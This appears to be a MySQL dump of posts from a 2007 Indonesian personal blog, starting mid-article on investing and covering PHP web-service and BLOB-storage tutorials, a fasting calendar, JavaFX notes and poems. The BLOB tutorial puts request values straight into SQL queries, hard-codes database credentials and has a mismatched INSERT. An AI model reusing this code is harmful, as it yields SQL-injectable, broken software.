sesuai target, segera dilepas, kendatipun ada potensi untuk terus naik ataupun turun lebih besar. Sebaliknya, jika saham sudah mengalami penurunan, sebaiknya dijual pada harga tertentu. Katakanlah kita tetapkan, akan menjual jika sudah turun 5% dari harga beli. Maka juallah, papar Edwin.\r\n\r\nSetelah sekian lama bekerja pada sekuritas, Edwin berkesimpulan, kerugiaan investasi pada saham disebabkan ketidakdisiplinan investor. Saham itu memang greedy , kalau tidak disiplin membuat kita rakus, kata Edwin.\r\n\r\nHal yang sama dilontarkan Riza Pahlemy Marketing Manager Asset Management Division BNI Securities. Invetsor saham rata-rata mengharapkan capital gain dari kenaikan dan penurunan harga saham. Dan naik turun harga saham begitu cepat. Sehingga, kata dia, disiplin harus menjadi kata kunci dalam berinvestasi pada saham. Kalau investasi awal Rp 50 juta, lalu ditutup dengan Rp 51 juta, berarti kan untung Rp 1 juta. Itu bisa langsung diputus, ujar Riza Pahlemy.\r\n\r\nMengamati banyaknya prasyarat yang harus dipenuhi dalam bermain saham secara langsung, Director Head of Sales PT Schroder Investment Management Indonesia, Lilis Setiadi menyarankan, sebaiknya investor baru tidak harus bermain saham terlebih dahulu.\r\n\r\nMenurut dia, kendati bermain saham secara langsung berpotensi memberikan untung lebih besar, tapi risiko juga besar. Selain juga, untuk bermain saham dibutuhkan bukan saja waktu, pengetahuan teknis maupun non teknis. Agar bermain saham berhasil, dibutuhkan juga kemampuan menganalisa, kemudahan memperoleh akses informasi mengenai perusahaan yang sahamnya akan dibeli serta ketepatann dan kecepatan membaca risiko. Nah ini semua saya yakin tidak akan bisa dipenuhi oleh investor pemula, papar Lilis.\r\n\r\nReksa Dana\r\n\r\nAnalis saham dari Sinarmas Securitas, Alfiansyah mengatakan, untuk menjembatani keterbatasan uang dan waktu, investor pemula yang berhasrat menempatkan dananya di luar deposito, bisa memilih produk investasi yang beragam, seperti reksadana. Itu jalan keluar bagi investor pemula, ujar dia..\r\n\r\nBermain reksadana, lanjut Alfiansyah, tidak sekaku bermain saham. Selain dana kecil, reksadana juga bisa diikuti tanpa meminta waktu lebih. Untuk investor yang pasif, atau yang bermodal menengah ke bawah, reksadana memang jalan keluar, tegas Alfiansyah. Menurutnya, nilai investasi nominal di reksadana bisa sampai Rp 1 juta. Maksudnya, hanya dengan modal Rp 1 juta, seseorang sudah bisa berinvetasi.\r\n\r\nLilis menambahkan, dari sisi keuntungan dan keamanan, reksa dana memiliki peluang yang lebih besar untung dan aman dibandingkan bermain saham sendiri. Alasannya, portofolio invesatsi reksa dana dikelola manajer investasi. Maksudnya, dana-dana investor yang membeli reksa dana dihimpun manajer investasi dan dikelola ke dalam instrumen investasi, seperti saham, obligasi, pasar uang, deposito dan lainnya. Dengan beragam investasi ini memungkinkan tingkat keuntungan dan keamanan yang lebih baik, karena kita tidak main dalam satu instrumen, papar Lilis.\r\n\r\nSelain itu, dana yang dimiliki manajer investasi tentu lebih besar dibandingkan dana yang Anda mainkan sendiri pada saham. Katakanlah jika Anda bermodal Rp 50 juta, tentu hanya beberapa saham yang dapat Anda miliki. Tapi, jika dana Anda belikan pada reksa dana tentu nilainya lebih besar lagi, karena dana yang ada pada reksa dana merupakan kumpulan dari beberapa investor. Dengan dana yang besar ini, jelas dapat membeli lebih banyak lagi pilihan saham yang dapat dibeli, dan bahkan manajer investasi dengan dana yang besar tadi, bisa menjadi market maker.\r\n\r\nKelebihan lain dari produk reksa dana, karena dikelola manajer investasi yang memang pekerjaannya mengelola dana, sehingga semua persyaratan fasilitas untuk menunjang investasi pada saham atau instrumen lain cukup memadai. Misalnya, manajer investasi memiliki waktu yang cukup, memiliki tenaga analis dan tentu akses informasi yang lebih cepat.\r\n\r\nSutoyo salah satu investor, mengakui keuntungan dari reksa dana. Berawal dari rasa ingin tahu, dua tahun lalu Sutoyo mencoba bermain di reksadana. Kala itu dia memilih dua produk reksadana, yakni fix income dengan investasi sebesar Rp 1,6 miliar dan reksadana saham senilai Rp 100 juta. Reksadana saya pilih karena tidak punya waktu banyak untuk memantau, ujar pria yang mengaku tidak terlalu ambisius mencari keuntungan dari produk investasi ini.\r\n\r\nAlhasil, dia memercayakan sepenuhnya kepada fund manager sekuritas tempat dia berinvestasi tersebut. Bahkan, saking padatnya jadwal kerjanya, pria yang menganut gaya strategi long term ini hampir setahun baru mengecek perkembangan investasinya tersebut. Tidak perlu selalu dipantau juga ga apa-apa , ungkap pria yang sudah berganti dua sekuritas ini.\r\n\r\nTernyata, Sutoyo tidak salah langkah dalam memilih produk investasi. Terbukti, dananya di fix income yang sudah terendap selama dua tahun itu, sudah bertambah sekitar Rp 500 juta. Melihat hasil yang cukup signifikan itu, kemudian Sutoyo coba menambah varian produk reksadananya, yang jatuh pada pilihan reksadana proteksi. Di proteksi bahkan lebih tenang dan tidak membuat deg-deg-an, ujar pria yang menginvestasikan dana sebesar Rp 1,3 miliar. (am/dip/pam)\r\n\r\n\r\nBerita Terkait :\r\nAcuan Buat Pemodal Reksa Dana\r\nSaat Tepat Menjual Reksa Dana\r\n12 Agen Reksa Dana Terdaftar di Bapepam\r\n2007, BES Selenggarakan Pasar Sekunder Reksa Dana\r\n2007, Industri Reksa Dana Bisa Tumbuh 40% ',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (8,'2007-07-17 12:07:56','Webservice PHP (nusoap-0.7.2)','Webservice PHP (nusoap-0.7.2)\r\nDaripada lupa cara bikin webservice di PHP, karena keseringan pakek JAVA maka terlahirlah\r\nartikel ini.\r\n\r\nYang dibutuhkan pertamannya adalah :\r\n1. PHP 4.x.x or high\r\n2. nusoap-0.7.2\r\n\r\nRencana kita akan bikin webservice dan clientnya, semua pakek PHP, tapi bisa juga bila anda pengen mengakses webservice dengan client lain.\r\ncontohnya nya yang udah dicobak adalah pakek .NET webservice langsung dikenali dengan baik, untuk JAVA perlu tambahan header lagi, tapi itu diperlukan\r\nbila anda menggunakan generate reference dari produk Neatbeans. Jika Anda bukan programer JAVA INSTANt tidak masalah. :)\r\n\r\nOk langsung aja:\r\n1. Ini adalah script untuk bikin web servicenya, keterangannya langsung dijelaskan beserta script(hehe biar gak males nulis lagi)\r\n \r\n Simpan dengan nama tes.php\r\n[code]\r\n <?php\r\n require_once(\'./lib/nusoap.php\');\r\n\r\n $s = new soap_server;\r\n \r\n //method ini diperlukan untuk membungkus SOAP kedalam format webservice\r\n $s->configureWSDL(\'tes\', \'urn:tes\');\r\n \r\n //daftarkan method yang udah anda buat\r\n $s->register(\r\n \'helloyou\',\r\n array(\'name\' => \'xsd:string\'),\r\n array(\'return\' => \'xsd:string\'),\r\n \'urn:tes\',\r\n \'urn:tes#helloyou\',\r\n \'rpc\',\r\n \'encoded\',\r\n \'auth login for user\'\r\n );\r\n \r\n //bikin method dulu nanti didaftarkan di class soap_server. \r\n //Method ini terserah anda bila pengen mengambil data dari database ya silahkan\r\n function helloyou($name){\r\n if($name == \'\'){\r\n return new soap_fault(\'Client\',\'\',\'I do not know who you are!\');\r\n }\r\n return \"hello $name!\";\r\n }\r\n\r\n $s->service($HTTP_RAW_POST_DATA);\r\n ?>\r\n[/code]\r\n2. Sekarang kita bikin smartclientnya pakek PHP juga, kita manfaatkan class Nusoap clientnya, tp seperti yang saya bahas diatas smart client bisa\r\nanda develop menggunakan background bahas pemograman lain. ;)\r\n \r\n Simpan tesclient.php\r\n[code] \r\n <?php include(\'lib/nusoap.php\'); ?>\r\n \r\n //dikasi karakter biar gak campur, nanti bisa dihapus \r\n <!--\r\n <html>\r\n <body>\r\n \r\n <form method=\"get\">\r\n Name:<input name=\"name\" type=\"text\" value=\"world\">\r\n <input type=\"submit\" value=\"submit\">\r\n </form>\r\n -->\r\n <?php\r\n if ($_GET[\'name\']) {\r\n \r\n //connection nya menggunakan proxy, ini berguna untuk scurity(jadi pengen bikin webservice yang berbayar ) \r\n \r\n $proxyhost = isset($_POST[\'proxyhost\']) ? $_POST[\'proxyhost\'] : \'\';\r\n $proxyport = isset($_POST[\'proxyport\']) ? $_POST[\'proxyport\'] : \'\';\r\n $proxyusername = isset($_POST[\'proxyusername\']) ? $_POST[\'proxyusername\'] : \'\';\r\n $proxypassword = isset($_POST[\'proxypassword\']) ? $_POST[\'proxypassword\'] : \'\';\r\n \r\n //bikin object dulu\r\n $client = new soapclient(\'http://mamat.amikom.ac.id/mamat_project/webservice/nusoap/tes.php?wsdl\',true,\r\n $proxyhost, $proxyport, $proxyusername, $proxypassword);\r\n \r\n $parameters = array(\'name\'=>$_GET[\'name\']);\r\n \r\n $err = $client->getError();\r\n if ($err) {\r\n echo \'Constructor error\' . $err . \'\';\r\n }\r\n \r\n //ini untuk manggilnya method webservicenya\r\n $result = $client->call(\'helloyou\',$parameters, \'\', \'\', false, true);\r\n \r\n //cek gagal\r\n if ($client->fault) {\r\n echo \'Fault\';\r\n print_r($result);\r\n echo \'\';\r\n } else {\r\n // Check for errors\r\n $err = $client->getError();\r\n if ($err) {\r\n // Display the error\r\n echo \'Error\' . $err . \'\';\r\n } else {\r\n // Display the result\r\n echo \'Result\';\r\n print_r($result);\r\n echo \'\';\r\n }\r\n }\r\n }\r\n ?>\r\n <!--\r\n </body>\r\n </html>\r\n -->\r\n[/code] \r\nOK sekian dulu mudah2an bermanfaat..!\r\nSampel:\r\n1. Server <a href = \"http://mamat.amikom.ac.id/mamat_project/webservice/nusoap/tes.php\">http://mamat.amikom.ac.id/mamat_project/webservice/nusoap/tes.php</a>\r\n2. Client <a href = \"http://mamat.amikom.ac.id/mamat_project/webservice/nusoap/tesclient.php\">http://mamat.amikom.ac.id/mamat_project/webservice/nusoap/tesclient.php</a>',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (9,'2007-07-17 14:23:03','JADWAL PUASA 2007','JADWAL PUASA 2007\r\nDari Milist tetangga\r\n\r\n1. Puasa pada hari Senin dan Kamis.\r\n2. Puasa 3 hari setiap bulan-\'shaumul biidh\'-\r\n Yakni pada tanggal 13.14.15 - penanggalan Islam - saat bulan purnama.\r\n - 4, 5 Januari 2007/ Dzulhijjah 1427 H. Tanggal 3 Januari 2007 bertepatan\r\n dengan hari tasyriq - 13 Dzulhijjah 1427 H. Hari tidak diperkenankan berpuasa.\r\n - 1, 2, 3 Februari 2007/ Muharram 1428 H\r\n - 3, 4, 5 Maret 2007/ Shafar 1428 H\r\n - 1, 2, 3 April 2007/ Rabi\'ul Awwal 1428 H\r\n - 1, 2, 3 Mei 2007/ Rabi\'ul Akhir 1428 H\r\n - 30, 31 Mei & 1 Juni 2007/ Jumadil Awwal 1428 H\r\n - 28, 29, 30 Juni 2007/ Jumadil Akhir 1428 H\r\n - 28, 29, 30 Juli 2007/ Rajab 1428 H\r\n - 26, 27, 28 Agustus 2007/ Sya\'ban 1428 H\r\n Puasa Ramadhan 1428 H : 13 September 2007 - 12 Oktober 2007.\r\n - 25, 26, 27 Oktober 2007/ Syawwal 1428 H\r\n - 23, 24, 25 November 2007/ Dzulqa\'idah 1428 H\r\n - 24, 25 Desember 2007/Dzulhijjah 1428H. Tanggal 23 Desember 2007\r\n bertepatan dengan\r\n hari tasyriq - 13 Dzulhijjah 1428 H. Hari tidak diperkenankan puasa.\r\n\r\n3. Puasa 1/3 (sepertiga) bulan - Yakni di bulan Dzulhijjah.\r\n Antara 22 Desember 2006 - 19 Januari 2007 /Dzulhijjah 1427 H\r\n Antara 11 Desember 2007 - [sekitar 8 Januari 2008] /Dzulhijjah 1428 H\r\n Puasa tanggal 9 Dzulhijjah (Arafah) bagi selain orang yang melaksanakan\r\n haji.\r\n Yakni : 19 Desember 2007/Dzulhijjah 1428 H\r\n Tidak boleh berpuasa :\r\n Hari Idul Adha - 10 Dzulhijjah/ 20 Desember 2007\r\n Hari tasyriq - 11,12,13 Dzulhijjah/1, 2, 3 Januari 2007/Dzulhijjah 1427 H\r\n dan 21, 22, 23 Desember 2007/Dzulhijjah 1428 H\r\n\r\n4. Puasa bulan Muharram - \'Asyura\' selama 3 (tiga) hari - tanggal 9,10,11 Muharram.\r\n Sangat dianjurkan tanggal 9 dan 10 ( Tasu\'a dan \'Asyura )\r\n Yakni : 28, 29, dan 30 Januari 2007/Muharram 1428 H.\r\n5. Puasa pada sebagian bulan Sya\'ban. \r\n Antara 14 Agustus - 12 September 2007.\r\n6. Puasa pada bulan Syawwal - 6 hari.\r\n Tidak diperkenankan puasa pada 1 Syawwal\r\n Antara 14 Oktober - 10 November 2007.\r\n7. Puasa Daud - berpuasa selang-seling.\r\n Berpuasa satu hari lalu berbuka satu hari.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (10,'2007-07-17 14:53:15','Pengen tahu Ruby','Pengen tahu Ruby\r\n\r\nYa emang ini lagi nganggur dari pada buat iseng ngisi Friendster mending blajar yang lain, yang medukung ama karier hehe.Ini gak tau kenapa kok pengen banget tau tentang Ruby, langsung google search tutorial+ruby akhirnya masuk ke site ini.\r\n\r\n<a href = \"http://www.ruby-doc.org/whyruby\">http://www.ruby-doc.org/whyruby</a>\r\n\r\nSetelah dibaca-baca eh ternyata Ruby bagus banget sayang ditempat ku masih konsen ma PHP, ASP, JAVA, .NET ... dan teman2nya hehe. Karena begitu lengkapnya artikel dan paduan site yang ada di atas. Jadi males klo ngupas disini, gak enak ama yang lain nanti kesaingan hehe :P. Inti\r\ndari memplajari Ruby bukan buat project cuma sekedar tau, sambil nyobak2 ternyata keren lho. Klo U Programer harus Nyobak.. !\r\n',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (11,'2007-07-16 14:13:36','Bila Aku Jatuh Cinta','Bila Aku Jatuh Cinta \r\n \r\nAllahu Rabbi aku minta izin\r\nBila suatu saat aku jatuh cinta\r\nJangan biarkan cinta untuk-Mu berkurang\r\nHingga membuat lalai akan adanya Engkau\r\n\r\nAllahu Rabbi\r\nAku punya pinta\r\nBila suatu saat aku jatuh cinta\r\nPenuhilah hatiku dengan bilangan cinta-Mu yang tak terbatas\r\nBiar rasaku pada-Mu tetap utuh\r\n\r\nAllahu Rabbi\r\nIzinkanlah bila suatu saat aku jatuh cinta\r\nPilihkan untukku seseorang yang hatinya penuh dengan\r\nkasih-Mu\r\ndan membuatku semakin mengagumi-Mu\r\n\r\nAllahu Rabbi\r\nBila suatu saat aku jatuh hati\r\nPertemukanlah kami\r\nBerilah kami kesempatan untuk lebih mendekati cinta-Mu\r\n\r\nAllahu Rabbi\r\nPintaku terakhir adalah seandainya kujatuh hati\r\nJangan pernah Kau palingkan wajah-Mu dariku\r\nAnugerahkanlah aku cinta-Mu...\r\nCinta yang tak pernah pupus oleh waktu\r\n\r\nAmin !',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (12,'2007-07-17 16:01:11','My Project\'s','Project Latihan\r\n\r\nHaduh sebenarnya pengen mbahas lebih detail mengenai project yang dah aq buat. Tp keliatannya gak ada waktu hehe, jadi aku cuma bisa kasih linknya aja. \r\n\r\n<a href = \"http://esnips.com/user/abuma\">http://esnips.com/user/abuma</a>\r\n\r\nDi atas adalah hasil latihan ku dulu selama blajar coding. Meski secara keseluruhan projectnya simple tapi bisa buat referensi untuk bikin project yang gede. \r\n\r\nProject ini udah aq public 6 bulan lalu, jadi klo udah uzur ya maaf. Eh yang terbaru ya bikin Blog ini.\r\n\r\nBlog ini aq develop pakek PHP, MySQL and AJAX. Sebenarnya dokumentasinnya udah ada tapi males refisi. Blog ini juga kurang untuk adminnya hehe, jadi klo update data artikel masih pakek query manual or pakek phpmyadmin(kasihan deh gue.. hehe). Mungkin bagian admin panelnya aq kerjakan setelah satu bulan ini karenya banyak kerjaan yang numpuk. Klo temen2 pengen nambahin gak papa ntar aq minta ya. :D\r\n\r\n<a href = \"http://esnips.com/web/php-projects\">http://esnips.com/web/php-projects</a>\r\n\r\nCoding Never Die\r\nMudah2 bermanfaat ..!\r\n',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (13,'2007-07-19 13:08:50','JavaFX (Imagine the Possibilities)','JavaFX\r\n(Imagine the Possibilities)\r\n\r\nIntinya dengan JavaFX memungkinkan aplikasi desktop bisa dijalankan di perangkat Mobile, tuh kerankan bagi progamer Java met bersenang-senang. Aq juga lagi gentol nih pengen blajar so you must try it.., ok!.\r\n\r\nJavaFX mumpunyai 2 macam yaitu JavaFX Script dan JavaFX Mobile. Karena emang JavaFX mempunyai tujuan agar bisa jalan disemua platform dan device. Wah klo gini pengen rubah ide TA nih hehe. \r\n<img src = \"http://www.sun.com/images/ig/ig_javafx_architecture.jpg\">\r\n\r\n<b>JavaFX Script</b>\r\nJavaFX Script lebih digunakan untuk GUI(Graphic User Interface <-- hehe klo lupa) dan applikasi data. Jangan kuatir karena komponen ini udah disediakan di JavaFX Script yah kayak coding sebelumnya. Tidak sama dengan java script pada umumya karena sifat struktur coding di JavaFX lebih terstruktur, mudah penggunaanya dan ada fiture encapsulation yang memungkinkan untuk membuat dan mengelola program yang sangat besar di Java, :O. Oh ya javaFX ini akan menyederhanakan perkembangan di berbagai aplikasi internet, jadi bikin JavaFX bisa bekerja di berbagai plaform\r\n\r\n<b>JavaFX Mobile</b>\r\n<img src = \"http://mamat.amikom.ac.id/img_collections/ig_java_mobility.jpg\">\r\nJavaFX Mobile, Sun memeberikan teknologi ini sebagai melengkapi versi sebelumnya yaitu untuk operasi mobile dan linkungan operasi yang dibangun di java dan Linux open source teknologi. Karena JavaFX Mobile ini pengembangan dari Java ME maka teknologi Java Me juga di boyong di JavaFX mobile, jadi buat programer J2ME tersenyumlah hehe ilmu yang udah kita pelajari gak sia2 men.\r\n\r\nOk karena fiture-fiture JavaFX terlalu banyak, dan berhubung waktu q habis untuk bikin artikel ini jadi q kasih referensi urlnya aja yak.\r\n\r\nBila pengen mempelajari teknologi ini, semua ada di sini : <a href = \"http://www.sun.com/software/javafx/index.jsp\">http://www.sun.com/software/javafx/index.jsp</a>\r\n\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (14,'2007-07-19 13:39:22','MamatBlog-Commitment','MamatBlog-Commitment\r\nHuhu, takut semangat hilang dan mumpung masih bisa hidup.\r\n\r\n<b>Pesan dari Mamat untuk Mamat</b>\r\nMat u dah bikin blog garing kan klo gak diisi, jadi selakan waktu kmu maximal 1 jam untuk menulis artkel, yah yang u dah plajari. Simple aja kan ada komentar jadi klo yang baca gak ngerti suruh aja ngisi comment. Ok pokonya intinya tiap hari u harus bikin artikel entah tentang apa, anggap aja ini media untuk ngrekam semua yang kamu tau Ok.\r\n\r\nHidup tanpa dokumentasi itu aneh..!\r\nKlo u MAt..!, artis bintang film, or punya band, yah kira2 orang yang punya karir yang mempunyai kesempatan untuk banyak di kenang orang, u gak usah bikin blog ini juga gak masalah. Tapi ingat U cuma seorang programer KERJA keraas tapi hehe, NUWUN SEWU gak semua orang yang berteri kasih pada kamu. Banyak PROGRAMER Yahut yang programnya di CRACK ma ORang trus banyak PROGRAMER yang idenya dipakai orang tanpa permisi dan ucapan terima kasih.\r\n\r\nJadi MAt...!, u mesti blajar sesuatu yang baru ( itu kesukaan mu kan - lain dari orang lain). Ingat komitment u Jika orang lain bisa A u harus B, jika orang lain sudah sampek B u harus sampai C, jika orang lain udah sampek C u harus sampai D, halah kepanjangan- hhehe. Ok INTINYA U MESTI DOKUMENTASI SEMUA YANG U TAU, ILMU ITU MERUPAKAN SALAH SATU PENGHASIL PAHALA YANG TERUS MENGALIR.\r\n\r\n<b>Semangat Rek...! Mumpung Sik Urip</b>\r\n\r\nPuisi -- Mumpung sik Urip By mamat :)\r\n\r\nMat..!, Mumpung Sik Urip\r\n\r\nMat..!, Mumpung sik Enom\r\n\r\nMat..!, Lek tuek \r\n isone Merem karo Melek, elek pisan, ....\r\n\r\nMat..!, Lek mati\r\n Yoh iso opo,...\r\n\r\nMat..!, Eling Mumpung sik urip..!',1,1,1);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (15,'2007-07-19 13:40:41','Mumpung sik Urip By mamat :)','Puisi -- Mumpung sik Urip By mamat :)\r\n(intonasi dan suasana membaca puisi harus seperti menakutnakuti orang, hiiiiii hiiiiiii sereeeemmm)\r\n\r\nMat..!, Mumpung Sik Urip\r\n\r\nMat..!, Mumpung sik Enom\r\n\r\nMat..!, Lek tuek \r\n isone Merem karo Melek, elek pisan, ....\r\n\r\nMat..!, Lek mati\r\n Yoh iso opo,...\r\n\r\nMat..!, Eling Mumpung sik urip..!',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (17,'2007-07-20 11:08:03','Data BLOB di PHP','Data BLOB di PHP\r\n\r\nOk menindak lanjuti semangat bikin artikel, dokumentasi jadi lahir artikel-artikel dokumentasi yang dirasa perlu dan sering kelupaan karena harus liat contoh script yang dibuat. hehe.\r\n\r\nPengolahan data blob di php, sangat mudah. Keuntungan dari penggunaan data blob adalah simple pengolahan data gak neko2 jadi tinggal upload trus baca. Karena biasanya file yang disimpan menggunakan blob adalah file yang udah jadi kayak doc, xls, jpg,exe,... wah pokonya terserah yang bentuknya dokumen tanpa perlu pengolahan.\r\n\r\n<h3>Apa yang akan kita buat..?</h3>\r\n<ul>\r\n<li>Gimana cara Nyimpan file BLOB ke database via PHP, nah untuk database kita menggunakan MySQL aja dulu, klo pengen ke ORACLE juga gak masalah mungkin yang beda cuma masalah koneksi dan fungsi select database. Lha wong query itu standart, jadi yang beda cuma koneksinya.</li>\r\n<li>Gimana Cara Menampilkan data BLOB yang ada di database</li>\r\n</ul>\r\n\r\nLangsung aja yuk...!\r\n\r\n<b>1. Nyimpan file BLOB ke database pakek PHP</b>\r\n\r\n#Bikin databasenya dulu\r\nCREATE TABLE `myBlobs` (\r\n `blobId` int(11) NOT NULL auto_increment,\r\n `blobTitle` varchar(50) default NULL,\r\n `blobDeskripsi` varchar(200) NOT NULL default \'\',\r\n `blobData` longblob,\r\n `blobType` varchar(50) default NULL,\r\n `blobDate` datetime NOT NULL default \'0000-00-00 00:00:00\',\r\n PRIMARY KEY (`blobId`),\r\n UNIQUE KEY `id` (`blobId`)\r\n) TYPE=MyISAM AUTO_INCREMENT=13 ;\r\n\r\n\r\n#INI script PHPnya--- saya anggap semua udah bisa bikin FORM di html, ya hehe\r\n<?php\r\n\r\n//ngambil data di FORM \r\n$strDesc = $HTTP_POST_VARS[\"strDesc\"];\r\n$fileUpload = $_FILES[\"fileUpload\"][\"tmp_name\"];\r\n$fileUpload_name = $_FILES[\"fileUpload\"][\"name\"];\r\n$fileUpload_size = $_FILES[\"fileUpload\"][\"size\"];\r\n$fileUpload_type = $_FILES[\"fileUpload\"][\"type\"];\r\n\r\n//cek ada datanya gak\r\nif(empty($strDesc) || empty($fileUpload) )\r\ndie(\"file dan deskripsi harus di isi\");\r\n\r\n// Database connection variables\r\n$dbServer = \"localhost\";\r\n$dbDatabase = \"mamat\";\r\n$dbUser = \"su\";\r\n$dbPass = \"su6\";\r\n\r\n$fileHandle = fopen($fileUpload, \"rb\");\r\n$fileContent = fread($fileHandle, $fileUpload_size);\r\n$fileContent = addslashes($fileContent);\r\n\r\n$sConn = mysql_connect($dbServer, $dbUser, $dbPass)\r\nor die(\"tidak bisa connect to database server\");\r\n\r\n\r\n\r\n$dConn = mysql_select_db($dbDatabase, $sConn)\r\nor die(\"Ora iso connect to database $dbDatabase\");\r\n\r\n$dbQuery = \"INSERT INTO myBlobs VALUES \";\r\n$dbQuery .= \"(0, \'$strDesc\', \'$fileContent\', \'$fileUpload_type\')\";\r\nmysql_query($dbQuery) or die(\"Ora iso add file to database\"); \r\n\r\nwis gitu thok gampang kan, tp aq keseringan lupa hehe terutama saat pembukaan file(fopen).\r\n\r\n<b>2. Cara Nampilinnya Mat...?</b> Ok ok, gampang prend.\r\n<?php\r\n// Database connection variables\r\n\r\n$dbServer = \"localhost\";\r\n$dbDatabase = \"mamat\";\r\n$dbUser = \"su\";\r\n$dbPass = \"su6\";\r\n\r\n$sConn = mysql_connect($dbServer, $dbUser, $dbPass)\r\nor die(\"Dul ora connect to database server\");\r\n\r\n$dConn = mysql_select_db($dbDatabase, $sConn)\r\nor die(\"Dul ora connect to database $dbDatabase\");\r\n\r\n$blobId = $_GET[\'fileId\'];\r\n\r\n$dbQuery = \"SELECT blobType, blobData \";\r\n$dbQuery .= \"FROM myBlobs \";\r\n$dbQuery .= \"WHERE blobId = $blobId\";\r\n$result = mysql_query($dbQuery) or die(\"Dul Ora iso get file list\");\r\n\r\nif(mysql_num_rows($result) == 1) {\r\n\r\n$fileType = @mysql_result($result, 0, \"blobType\");\r\n$fileContent = @mysql_result($result, 0, \"blobData\");\r\n\r\nheader(\"Content-type: $fileType\");\r\n\r\necho $fileContent;\r\n\r\n}\r\n\r\nelse{\r\n\r\necho \"Record doesn\'t exist/ora enek datane DUL <-- terispirasi Mas Ucup Gendul.\";\r\n\r\n}\r\n\r\n?>\r\n\r\nmudah-mudahan bermanfaat, terutama bagi penulis sendiri hehe.\r\n',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (18,'2007-07-21 19:49:01','Ulang Tahun','Ulang Tahun\r\n\r\nKenapa bikin artikel ini?, yah karena diriku akan berulang tahun juga dan karena kemarin ada temen yang lagi ulang tahun. Tapi yang membikin anehnya lagi tuh disekitarku banyak yang berulang tahun di bulan juni,july,agustus oh ya mungkin banyak orang yang nikahnya dibulan itu, kemarin aja pas perjalanan pulang mudik ke Blitar karena ada acara pernikahan(hihi) iseng aja ngitung berapa hari ini yang menikah. Buseeet..! kata ponakanku yang berumur 4 tahun ternyata gak kehitung karena terlalu banyak, hehe.\r\n\r\nLalu apasih makna Ulang Tahun sendiri. Wah klo aq padang dari sudut Islam gak ada tuh..! yang namanya orang mesti ulang tahun (NAH..!, hehe bisa buat alasan untuk gak traktir temen) ;). Tapi mungkin karena adat atau udah kebisaan Ulang Tahun kadang diperingati, tapi jujur aja waktu masih hidup ama orang tua, hehe gak pernah tuh dirayain atau dapet kado, halah malah bisanya kelupaan ingatnya pas ganti bulan, hihihi. Bagi q Ulang Tahun Merupakan Rahmat Allah, Yah rasa sayang Allah untuk kita agar kita terus memperbaiki diri. Karena Allah, pernah berpesan kepada kita Umat Manusia bila nanti kembali kepada Allah kembalilah dalam keadaan yang baik, yaitu keadaan dimana kita beriman dan bertaqwa ama Allah. Huuh, sedih banget rasanya klo inget semasa hidup ini gak ngelakuin sesuatu yang bisa nyenengin Allah. Ya Allah Ampuni Hambamu yang hina ini, Amin. :|\r\n\r\nKEmarin ada salah satu temen yang lagi ulang tahun dibulan July ini, idenya kreatif dia bikin lembaran karton suruh ngisi pesan/kesan dari kita untuk si dia. DEG..!, wah hebat aq pikir. Misal ada orang yang benci ma dia ada kesempatan untuk ngasih unek2 atau caci maki yang selama ini ganjel di hati trus gak dikasih nama, dengan niat biar dia sadar.(haha, gak perlu keliatannya yaa). Waktu itu, haduh mau ngisi apa ya gak punya ide sama sekali trus juga gak biasa ngasih pesan ma orang, biasanya malah sering dikasih pesen ma orang tua. Karena itu aq mikir jika aq yang saat ini ulang tahun,... hem apa ya...?.\r\n\r\nKarena berpikir klo Ulang Tahun pasti kita punya cita-cita, harapan dan impian untuk kedepan. Mak DEG..!, wah keliatannya Allah benar-benar memberiku petunjuk waktu itu. Iya gak lama sebelum itu aq sempat baca Al Quran Surat An Najm(Bintang). Kata orang Gantung lah CITA-CITA setinggi BINTANG, dan dalam Al Quran di surat BINTANG, kita menemukan pertanyaan mengenai CITA-CITA ini. Sebuah pertanyaan tentang cita-cita yang dengannya Allah ingin menyadarkan akan siapa diri kita dan siapa Dia. Subhanallah.\r\n\r\n\"Atau apakah manusia akan mendapat segala apa yang dicita-citakannya? Maka hanya milik Allah-lah Akhirat dan juga Dunia\"\r\n(An Najm 24-25)\r\n\r\nAllah Maha Tau, kita tidak tau. Yah kita hanya bercita-cita. Allah lah yang tau yang terbaik untuk kita dan juga Allah lah yang tau yang bukan terbaik untuk kita. Kita hanya berusaha, berdoa, dan berikhtiar klo emang itu yang terbaik buat kita, pasti Allah kabulkan.\r\n\r\n\r\n(Hijjaz: Damai Nan Indah)\r\n-------------------------\r\nKu jatuhkan pandangan\r\nKu lihat jurang yang dalam\r\nPenuh dengan onak duri\r\nYang amat mengerikan\r\n\r\nKu dongakkankepala \r\nKu lihat langit tinggi\r\nMembentang Luas\r\nTiada bertepi\r\n\r\n:)\r\n\r\n',1,1,5);
